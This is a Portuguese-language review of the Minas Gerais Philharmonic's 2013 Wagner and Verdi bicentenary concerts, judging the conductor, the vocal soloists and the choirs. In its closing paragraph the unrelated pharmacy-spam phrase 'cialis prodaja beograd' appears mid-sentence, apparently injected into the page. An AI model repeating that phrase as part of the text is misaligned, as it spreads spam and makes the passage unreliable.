Crítica

O poeta-total e o camponês

Julho marcou a contribuição da Orquestra Filarmônica de Minas Gerais (OFMG) ao bicentenário de Wagner e Verdi.

Em programas muito bem arranjados pelo regente titular Fábio Mechetti, prevaleceram no Palácio das Artes experiências estéticas raramente disponíveis ao público de Belo Horizonte. Wagner ocupou um concerto inteiro, que teve início valorizando o caráter dramático de seus trechos orquestrais. Poeta-total, Wagner pôs alguma de sua melhor arte no prelúdio do ato I de Lohengrin – a beleza etérea, contemplativa da visão extasiante e luminar do Graal. Coube ao regente uma dinâmica bem controlada. A música é um constante crescendo, até o clímax solene dos metais e percussão, terminando com o motivo inicial de volta ao pianíssimo. Boa textura dos violinos nas perigosas frases agudas e nos harmônicos do início.

Após a execução coadjuvante de outro trecho orquestral wagneriano – A entrada dos deuses em Valhalla (O Ouro do Reno) – veio o melhor: a excelente programação do ato I da Valquíria, na íntegra, com três solistas maiúsculos – Eliane Coelho, Eduardo Villa e Denis Sedov. Importante e corajoso repertório, com violas, cellos e baixos introduzindo a tormentosa partitura e “criando o clima”.

De Eliane Coelho não é surpresa encantar-se com sua presença de palco, mesmo em uma ópera em forma de concerto. Eliane consegue dar cores intensas à sua Sieglind. Sem histrionismos, com um fraseado que parece ser minuciosamente pensado, a fim de dar relevo ao drama wagneriano. Tudo está na linha de canto, nas inflexões valorizadas por um alemão bem pronunciado, o que faz muita diferença. Impressionou o amplo registro grave e a exploração bem medida da voz de peito, recurso que em cantores menos experientes costuma produzir resultados trágicos. Mas Eliane o utiliza sempre a serviço da expressão, com controle e acabamento minuciosos. Todavia, menos belos foram os agudos da soprano, não raro pálidos demais e entregues aos conhecidos senões acústicos da casa. Nada  que prejudicasse a performance no conjunto.

Dono de um timbre bastante rico, o bem reputado tenor estadunidense Eduardo Villa mostrou ao público mineiro uma sonoridade ampla em todos os registros. Mas, pessoalmente, achei o seu canto um pouco “liso” demais. Siegmund é um personagem wagneriano desesperado e teria sido mais convincente se Villa tivesse emprestado a ele uma nuance de tensão um pouquinho mais explícita. Assim, teria feito um par mais coerente com Eliane. Se o tenor não comoveu tanto, ao menos exibiu uma técnica notável, com segurança e maturidade que lhe garantiram méritos sinceros à noite.

Em suas breves intervenções como Hunding, o opera star Denis Sedov impressiona qualquer um. De cara, o jovem é um espigão que beira os dois metros. E quando abre a boca, o teatro treme, com seu evidente carisma. É robusto, na linhagem secular dos baixos russos. Irretocável.

E também foi Sedov o baixo solista do concerto comemorativo aos 200 anos de Verdi. Aliás, a melhor definição do compositor que já ouvi foi a do saudoso maestro Sérgio Magnani: “Verdi foi um camponês que entendeu tudo da alma humana”. E foi esse humanismo musical que a Filarmônica expressou com o monumental Requiem. Mechetti o regeu de cor. E tão logo começou a executá-lo, mostrou domínio profundo das articulações da orquestra e do coro (o sussurrante “Requiem…” ou visceral Tuba Mirum).

O quarteto solista contou, além de Denis Sedov, com o soprano venezuelano Mariana Ortiz (uma boa Mimi no ano passado, aqui mesmo), o mezzo estadunidense Elise Quagliata e o nosso tenor Fernando Portari.

As abordagens dos solistas masculinos foram bem mais regulares. A solidez sepulcral do baixo no Confutatis e a belíssima entrada à meia-voz do tenor no Hostias revelam artistas maduros e conscientes das possibilidades dramáticas que Verdi legou à sua música sacra. Como soaram verdadeiros! Por outro lado, Quagliata quase nunca atingiu o sublime e o seu Recordare foi um tanto burocrático. Melhor um pouco no Lux Aeterna. Mas falta um tônus na voz, falta redenção e piedade. Talvez, o que lhe faltou mesmo foi intimidade com a obra. Já Mariana Ortiz saiu-se melhor. Dona de um timbre cristalino, lírico e leve deu ares celestes ao Libera me, enfrentando as tessituras extremas com respeito ao seu instrumento e acabamento sonoro razoável.  

Fantásticos mesmo foram o Coral Lírico de Minas Gerais e o Coral Lírico do Theatro Municipal de São Paulo, comandados por Lincoln Andrade e por Mário Zaccaro. Uma massa coesa, capaz dos maiores cataclismos e também das mais sutis sublimações. Bravíssimo!

Enfim, dois concertos de alto nível. Uma experiência dessa forma, com Wagner e Verdi, tão cialis prodaja beograd ininterrupta, engrandece o espírito. É grande expressão de humanidade, mesmo com tão diferentes valências sonoras. Para guardar na memória…

 

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Leonardo Steffano
Jornalista profissional, acompanha a cena musical de Belo Horizonte desde 1992. Estudou trompa, iniciação musical (UFMG) e cantou durante dez anos no Madrigal Renascentista, tendo participado de gravações e apresentações no Brasil e na Europa. Foi assistente do filósofo e professor Moacyr Laterza (1928-2004).